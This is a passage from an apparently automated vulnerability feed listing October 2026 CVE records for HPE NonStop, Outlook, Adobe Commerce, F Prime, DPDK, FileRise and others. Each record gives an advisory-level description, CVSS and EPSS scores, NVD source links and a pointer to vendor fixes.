EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79824&date=2026-10-25).
Sources:
NVD CVE-2026-79824: https://nvd.nist.gov/vuln/detail/CVE-2026-79824
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79824&date=2026-10-25
A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a .. (dot dot) sequence in filenames in a TAR archive.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow.
https://kevwire.com/record/CVE-2026-79825
A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow. (Oct 15, 2026).
A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79825).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79825&date=2026-10-25).
Sources:
NVD CVE-2026-79825: https://nvd.nist.gov/vuln/detail/CVE-2026-79825
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79825&date=2026-10-25
A heap buffer overflow in HPE NonStop NDSREST could corrupt resume-execution address and may potentially redirect execution flow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow.
https://kevwire.com/record/CVE-2026-79826
A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow. (Oct 15, 2026).
A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79826).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79826&date=2026-10-25).
Sources:
NVD CVE-2026-79826: https://nvd.nist.gov/vuln/detail/CVE-2026-79826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79826&date=2026-10-25
A heap buffer overflow in HPE NonStop OCAX could corrupt address space and may potentially redirect execution flow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow.
https://kevwire.com/record/CVE-2026-79827
A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow. (Oct 15, 2026).
A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79827).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79827&date=2026-10-25).
Sources:
NVD CVE-2026-79827: https://nvd.nist.gov/vuln/detail/CVE-2026-79827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79827&date=2026-10-25
A heap buffer overflow in HPE NonStop Inspect Subsystem could corrupt resume-execution address and may potentially redirect execution flow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow.
https://kevwire.com/record/CVE-2026-79828
A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow. (Oct 15, 2026).
A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79828).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79828&date=2026-10-25).
Sources:
NVD CVE-2026-79828: https://nvd.nist.gov/vuln/detail/CVE-2026-79828
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79828&date=2026-10-25
A heap buffer overflow in HPE NonStop Debug Utilities  could corrupt resume-execution address and may potentially redirect execution flow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt.
https://kevwire.com/record/CVE-2026-79829
A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt. (Oct 15, 2026).
A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79829).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79829&date=2026-10-25).
Sources:
NVD CVE-2026-79829: https://nvd.nist.gov/vuln/detail/CVE-2026-79829
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79829&date=2026-10-25
A security vulnerability in HPE NonStop HTTP WEBSERVER can cause memory corruption which may result in a system halt.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash.
https://kevwire.com/record/CVE-2026-79832
A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash. (Oct 15, 2026).
A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash.
CVSS 7.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79832).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79832&date=2026-10-25).
Sources:
NVD CVE-2026-79832: https://nvd.nist.gov/vuln/detail/CVE-2026-79832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79832&date=2026-10-25
A stack buffer overflow vulnerability in HPE NonStop SQL/MX Executor may potentially result in information disclosure or process crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service.
https://kevwire.com/record/CVE-2026-79833
A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service. (Oct 15, 2026).
A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79833).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79833&date=2026-10-25).
Sources:
NVD CVE-2026-79833: https://nvd.nist.gov/vuln/detail/CVE-2026-79833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79833&date=2026-10-25
A vulnerability in HPE NonStop ANSI SQLUTIL may allow a remote unauthenticated actor to cause an affected service to terminate unexpectedly, causing a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution.
https://kevwire.com/record/CVE-2026-79834
A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution. (Oct 15, 2026).
A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79834).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79834&date=2026-10-25).
Sources:
NVD CVE-2026-79834: https://nvd.nist.gov/vuln/detail/CVE-2026-79834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79834&date=2026-10-25
A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior.
https://kevwire.com/record/CVE-2026-79837
A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior. (Oct 15, 2026).
A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79837).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79837&date=2026-10-25).
Sources:
NVD CVE-2026-79837: https://nvd.nist.gov/vuln/detail/CVE-2026-79837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79837&date=2026-10-25
A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70242
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70242).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70242&date=2026-10-25).
Sources:
NVD CVE-2026-70242: https://nvd.nist.gov/vuln/detail/CVE-2026-70242
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70242
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70242&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70256
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70256).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70256&date=2026-10-25).
Sources:
NVD CVE-2026-70256: https://nvd.nist.gov/vuln/detail/CVE-2026-70256
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70256
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70256&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70257
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70257).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70257&date=2026-10-25).
Sources:
NVD CVE-2026-70257: https://nvd.nist.gov/vuln/detail/CVE-2026-70257
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70257&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form...
https://kevwire.com/record/CVE-2026-92922
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form... (Oct 13, 2026).
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92922).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92922&date=2026-10-25).
Sources:
NVD CVE-2026-92922: https://nvd.nist.gov/vuln/detail/CVE-2026-92922
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92922&date=2026-10-25
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92155
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Fw::FilePacket deserialization used by Svc::FileUplink is vulnerable because Header deserialization casts the byte to the Type enum without validating its range and FilePacket::fromSerialBuffer reaches a default FW_ASSERT. When a network file packet contains an unknown file-packet type byte, the assertion aborts or resets the default Ref application process, causing denial of service. This issue is fixed in version 4.2.0.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92155).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92155&date=2026-10-25).
Sources:
NVD CVE-2026-92155: https://nvd.nist.gov/vuln/detail/CVE-2026-92155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92155&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Fw::FilePacket deserialization used by Svc::FileUplink is vulnerable because Header deserialization casts the byte to the Type enum without validating its range and FilePacket::fromSerialBuffer reaches a default FW_ASSERT. When a network file packet contains an unknown file-packet type byte, the assertion aborts or resets the default Ref application process, causing denial of service. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92153
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.3.0, Svc::FileUplink handling of Fw::FilePacket::StartPacket destination paths FileUplink copies the packet-controlled destinationPath and opens it for writing without canonicalization or confinement to an upload directory. When a peer able to send file-uplink packets supplies an absolute, traversing, or otherwise attacker-selected writable destination path, files can be created or overwritten at attacker-selected writable filesystem locations, affecting integrity and potentially availability. This issue is fixed in version 4.3.0.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92153).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92153&date=2026-10-25).
Sources:
NVD CVE-2026-92153: https://nvd.nist.gov/vuln/detail/CVE-2026-92153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92153&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.3.0, Svc::FileUplink handling of Fw::FilePacket::StartPacket destination paths FileUplink copies the packet-controlled destinationPath and opens it for writing without canonicalization or confinement to an upload directory. When a peer able to send file-uplink packets supplies an absolute, traversing, or otherwise attacker-selected writable destination path, files can be created or overwritten at attacker-selected writable filesystem locations, affecting integrity and potentially availability. This issue is fixed in version 4.3.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API...
https://kevwire.com/record/CVE-2026-91882
Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API... (Oct 14, 2026).
Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API client error handling component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.
CVSS 8.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91882).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91882&date=2026-10-25).
Sources:
NVD CVE-2026-91882: https://nvd.nist.gov/vuln/detail/CVE-2026-91882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91882&date=2026-10-25
Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API client error handling component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap.
https://kevwire.com/record/CVE-2026-86567
A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap. (Oct 14, 2026).
A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86567).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86567&date=2026-10-25).
Sources:
NVD CVE-2026-86567: https://nvd.nist.gov/vuln/detail/CVE-2026-86567
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86567&date=2026-10-25
A flaw was found in DPDK lib/vhost. The VDUSE handler fails to invalidate vring pointers when the IOTLB is invalidated, leading to use-after-unmap.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process.
https://kevwire.com/record/CVE-2026-86565
A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process. (Oct 14, 2026).
A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86565).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86565&date=2026-10-25).
Sources:
NVD CVE-2026-86565: https://nvd.nist.gov/vuln/detail/CVE-2026-86565
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86565&date=2026-10-25
A flaw was found in DPDK lib/vhost. A guest can desynchronize virtqueue size from inflight descriptor table size, causing an out-of-bounds write in the host vhost process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-61843
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise upload-enabled shared-folder and upload-only links do not reject a destination filename that already exists. An unauthenticated visitor with a valid share token and any configured share password can upload a file with the same name as an existing file and silently replace its content while the original uploader metadata remains. The same replacement gap affects ordinary authenticated uploads through /api/upload/upload.php and authenticated upload-only users who lack edit authority over the existing file. This issue is fixed in version 3.18.0.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61843).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61843&date=2026-10-25).
Sources:
NVD CVE-2026-61843: https://nvd.nist.gov/vuln/detail/CVE-2026-61843
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61843&date=2026-10-25
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise upload-enabled shared-folder and upload-only links do not reject a destination filename that already exists. An unauthenticated visitor with a valid share token and any configured share password can upload a file with the same name as an existing file and silently replace its content while the original uploader metadata remains. The same replacement gap affects ordinary authenticated uploads through /api/upload/upload.php and authenticated upload-only users who lack edit authority over the existing file. This issue is fixed in version 3.18.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-57492
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise treats an empty or missing users.txt file as a fresh installation even after setup previously completed. If storage loss, truncation, or another failure empties the user store, an unauthenticated remote caller can detect that setup mode reopened and create the next initial administrator account through the setup flow. The application lacked a durable setup-complete marker independent of the mutable user store. This issue is fixed in version 3.16.0.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57492).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57492&date=2026-10-25).
Sources:
NVD CVE-2026-57492: https://nvd.nist.gov/vuln/detail/CVE-2026-57492
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57492&date=2026-10-25
